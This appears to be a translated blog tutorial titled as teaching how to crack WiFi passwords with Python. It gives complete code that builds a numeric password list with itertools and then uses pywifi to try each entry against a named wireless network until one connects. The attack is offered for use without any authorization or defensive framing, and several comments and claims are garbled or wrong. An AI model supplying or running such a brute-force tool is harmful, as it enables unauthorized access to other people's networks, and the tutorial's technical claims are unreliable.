Teach you how to use Python to crack WIFI passwords

First, generate a codebook

The password book is our common password, which is generally composed of numbers, letters and symbols. And now? We use Python to generate a simple codebook. The idea used here is mainly the exhaustive method. The library used here is itertools. If not, you can use pip install itertools to install it under the DOS command. The generation of this codebook is very simple, just a few lines of code. Next, let's analyze it together. Similarly, we will analyze step by step, and the complete code will be attached later.

An iterator is used here, that is, we need to generate all characters of the password, which can be numbers, symbols and letters. I use pure numbers here for convenience and time saving.

words="1234567890"

  The following is the number of digits of the generated password, but it should be noted that this should take into account the computer configuration. It took me more than ten minutes to generate a seven digit password, and the generated file size is about 85M, so you can generate it according to the situation.

r=its.product(words,repeat=4)

Therefore, the generated password is generally a string, while I previously generated a single character, so I use join and space link.

dic.write("".join(i))

  Well, write down the complete code:

import itertools as its
 #iterator 
words="1234567890"
#The number of digits of the generated codebook, five digits, repeat=5
r=its.product(words,repeat=3)
#Save in file, append
dic=open("./password.txt","a")
#i is a tuple
for i in r:
    #jion space link
    dic.write("".join(i))
    dic.write("".join("\n"))
    print(i)
dic.close()
print("Password Book generated")

Crack wifi password

The code is also very simple. Here, you need to use the pywifi Library in Python, so you need to install the Library under the DOS command. Similarly, you need to use pip install pywifi to install it successfully. I use Python 3, so you need to pay attention to this when you look at it. Next, we analyze the main code step by step, followed by the complete code. By the way, it should be noted that the computer must use a wireless network card.

First, we need to judge whether the computer is connected to wifi, create a wireless object and obtain the wireless network card.

wifi=pywifi.PyWiFi()
#Get wireless network card
ifaces=wifi.interfaces()[0]
print(ifaces)

Use this line of code to get the name of the computer wireless network card:

print(ifaces.name())

To determine whether WiFi is connected, we need to import a constant Library:

from pywifi import const

Create a WiFi connection file, select the name of the WiFi to be connected, then check the development status of WiFi and check the WiFi encryption algorithm. The general WiFi encryption algorithm is WPA2 PSK, and check the encryption unit. The code is as follows:

profile=pywifi.Profile()
#Name of WiFi to connect
profile.ssid="jiayi"
#Open state of network card
profile.auth=const.AUTH_ALG_OPEN
#wifi encryption algorithm. The general wifi encryption algorithm is was
profile.akm.append(const.AKM_TYPE_WPA2PSK)
#Encryption unit
profile.cipher=const.CIPHER_TYPE_CCMP

Delete all connected wifi files, reset the new connection file, set the wifi connection time, and judge whether wifi is connected. If connected, return 4, if not, return 0

#Delete all connected wifi files
ifaces.remove_all_network_profiles()
#Set new connection file
tep_profile=ifaces.add_network_profile(profile)
ifaces.connect(tep_profile)
#wifi connection time
time.sleep(3)
if ifaces.status()==const.IFACE_CONNECTED:
    return True
else:
    return False

Next, we need a password book, and then read it line by line in a read-only way. The password book here can be shared by me or downloaded from the Internet. As long as it is TXT text

#Password Book Path
path="C:/Users/ASUS/Desktop/password.txt"
#Open file
file=open(path,"r")
while True:
    try:
        #Read line by line
        pad=file.readline()
 Well, here's the complete code.
# coding:utf-8
import pywifi
from pywifi import const
import time
 
#Test the connection and return the link result
def wifiConnect(pwd):
    #Grab network card interface
    wifi=pywifi.PyWiFi()
    #Get the first wireless network card
    ifaces=wifi.interfaces()[0]
    #Disconnect all connections
    ifaces.disconnect()
    time.sleep(1)
    wifistatus=ifaces.status()
    if wifistatus ==const.IFACE_DISCONNECTED:
        #Create WiFi connection file
        profile=pywifi.Profile()
        #Name of WiFi to connect
        profile.ssid="jiayi"
        #Open state of network card
        profile.auth=const.AUTH_ALG_OPEN
        #wifi encryption algorithm, the general wifi encryption algorithm is wps
        profile.akm.append(const.AKM_TYPE_WPA2PSK)
        #Encryption unit
        profile.cipher=const.CIPHER_TYPE_CCMP
        #Call password
        profile.key=pwd
        #Delete all connected wifi files
        ifaces.remove_all_network_profiles()
        #Set new connection file
        tep_profile=ifaces.add_network_profile(profile)
        ifaces.connect(tep_profile)
        #wifi connection time
        time.sleep(3)
        if ifaces.status()==const.IFACE_CONNECTED:
            return True
        else:
            return False
    else:
        print("already existing wifi connect") 
 
#Read password book
def readPassword():
    print("Start cracking:")
    #Password Book Path
    path="./password.txt"
    #Open file
    file=open(path,"r")
    while True:
        try:
            #Read line by line
            pad=file.readline()
            bool=wifiConnect(pad)
            
            if bool:
                print("Password cracked: ",pad)
                print("WiFi Automatically connected!!!")
                break
            else:
                #Jump out of the current cycle and proceed to the next cycle
                print("Password cracking....Password proofreading: ",pad)
        except:
            continue
readPassword()

Tags: Python crawler

Posted on Fri, 19 Nov 2021 22:04:30 -0500 by Teaky